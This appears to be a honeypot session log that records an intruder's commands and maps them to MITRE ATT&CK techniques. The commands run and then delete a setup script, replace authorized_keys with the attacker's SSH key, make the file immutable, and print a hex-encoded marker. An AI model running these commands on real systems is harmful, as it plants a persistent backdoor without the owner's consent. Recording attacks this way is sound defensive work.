Honeypot attack session (period 2024), commands issued:
chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a
chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; 

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1098 Account Manipulation
T1222 File and Directory Permissions Modification
T1082 System Information Discovery
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1098 Account Manipulation
T1222 File and Directory Permissions Modification
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1027 Obfuscated Files or Information